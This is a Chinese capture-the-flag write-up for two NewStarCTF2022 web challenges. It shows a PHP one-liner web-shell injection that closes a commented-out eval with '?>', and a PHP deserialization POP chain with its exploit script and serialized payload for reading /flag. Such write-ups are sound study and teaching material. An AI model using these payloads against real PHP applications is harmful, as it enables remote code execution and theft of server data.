NewStarCTF2022公开赛-wp

没啥简介

NewStarCTF2022公开赛

虽然是别人学校的新生赛,难度不是很高,但是还是有许多值得学习的知识点

1.NotPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}

这里绕过不细讲,都是常见的

1
eval("#".$_GET['cmd']);

细讲这个

这个是一个eval函数,但是里面其实已经被#给注释掉了,

所以无论输入什么都没结果


因此需要闭合或者绕过#

但是我试了很多闭合方式,结果都没反应

最后发现

1
?>

实现了语句闭合,

但是,当把这个php结尾符加到后面时候,这个php就就结束了

1
eval("#".$_GET['cmd']);

为例子

1
url/xxx&cmd=?>haha

当我们闭合了php代码后,那后面的haha的位置在哪里呢

image-20220921083750913

我们可以看到,haha变成了html代码

那么就可以操作了,

比如xss,一句话🐎的插入等

xss我试了,没有结果,现在的xss利用层面和危害也不高了(可能是我技术不到位)


插入一句话🐎

开始因为是html,我是试了jsp一句话

1
<script language="php">@eval($_POST["cmd"]);</script>

但是用蚁剑连不上

最后按照传统思路,我在后面插入php一句话

1
<?php @eval($_POST["cmd"]);?>

好家伙,传统思路,才是真

连接成功拿到flag


不知道有没有看到这篇文章的同学看到这个wp,提醒一下,这里需要在http body里补充num请求信息

因为这也是绕过的一个环节

image-20220921084836402


2.UnserializeOne

一道popchain,这还是我第一次做popchain类【惭愧,不过做着真有意思】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

构造pop链主要在于,

1
把我们需要触发的魔术方法联系在一起,而且在联系触发过程中也要记得实例化目标类,这样才能调用和执行其中的方法

我们先中每个类其中的魔术方法列出来看看,再分析一下

Start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Start{
public $name;
protected $func;

public function __destruct()
//__destruct(),对象被销毁时触发,也就是最后运行结束时触发
{
echo "Welcome to NewStarCTF, ".$this->name;
//这里进行echo $this->name,如果$this->name是一个类就会调用Sec()类里__toString()
}

public function __isset($var)
//__isset(),当对不可访问属性调用isset()或empty()时调用
{
($this->func)();
//这里把$this->func当作一个函数,执行$this->func()
//如果$this->func不是一个正确的函数名,就会调用Sec类里__invoke()
}
}

Sec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Sec{
private $obj;
private $var;

public function __toString()
//__toString(),把类当做字符串时触发,
//所以在Start类中的[echo "Welcome to NewStarCTF, ".$this->name;],就需要把name值赋值为Sec类名
{
$this->obj->check($this->var);
//这里想调用this->obj的check方法
return "CTFers";
}

public function __invoke()
//__invoke(),当脚本尝试将对象调用为函数时触发
//所以在Start类中的[$this->func)();]中,需要把func值赋值为Sec,从而把其当作函数执行时,从而触其魔术方法
{
echo file_get_contents('/flag');
//这里就是目标,执行文件包含flag输出内容
}
}

Easy

1
2
3
4
5
6
7
8
9
10
11
class Easy{
public $cla;

public function __call($fun, $var)
//__call(),在对象上下文中调用不可访问的方法时触发
//所以在Sec类中,当this->obj赋值为Easy类时,调用check方法时,就会触发,因为Easy里没有check函数
{
$this->cla = clone $var[0];
//这里调用clone,当对象完成复制时会执行eeee里的__clone
}
}

eeee

1
2
3
4
5
6
7
8
9
10
11
12
class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
//这里是对$this->obj的cmd属性使用isset函数,但是并不存在cmd属性
//所以把this->obj赋值为Strat类名,从而触发__isset
echo "success";
}
}
}

整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Start::__destruct

==>

Sec::__toString

==>

Easy::__call

==>

eeee::__clone

==>

Start::__isset

==>

Sec::__invoke

于是payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start
{
public $name;
public $func;
}

class Sec
{
public $obj;
public $var;
}

class Easy
{
public $cla;
}

class eeee
{
public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$eeee=new eeee();

$start->name=$sec;
$start->func=$sec;

$sec->obj=$easy;
$sec->var=$eeee;

$eeee->obj=$start;
//因为这里把eeee里的变量复制为实例化的Start的类,所以如果从eeee类为开始序列化的入口也是可以的

echo serialize($start);
//echo serialize($eeee);

得到序列化数据,post传入就行

1
2
3
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

//O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";r:1;}s:4:"func";r:3;}}

image-20221027162117156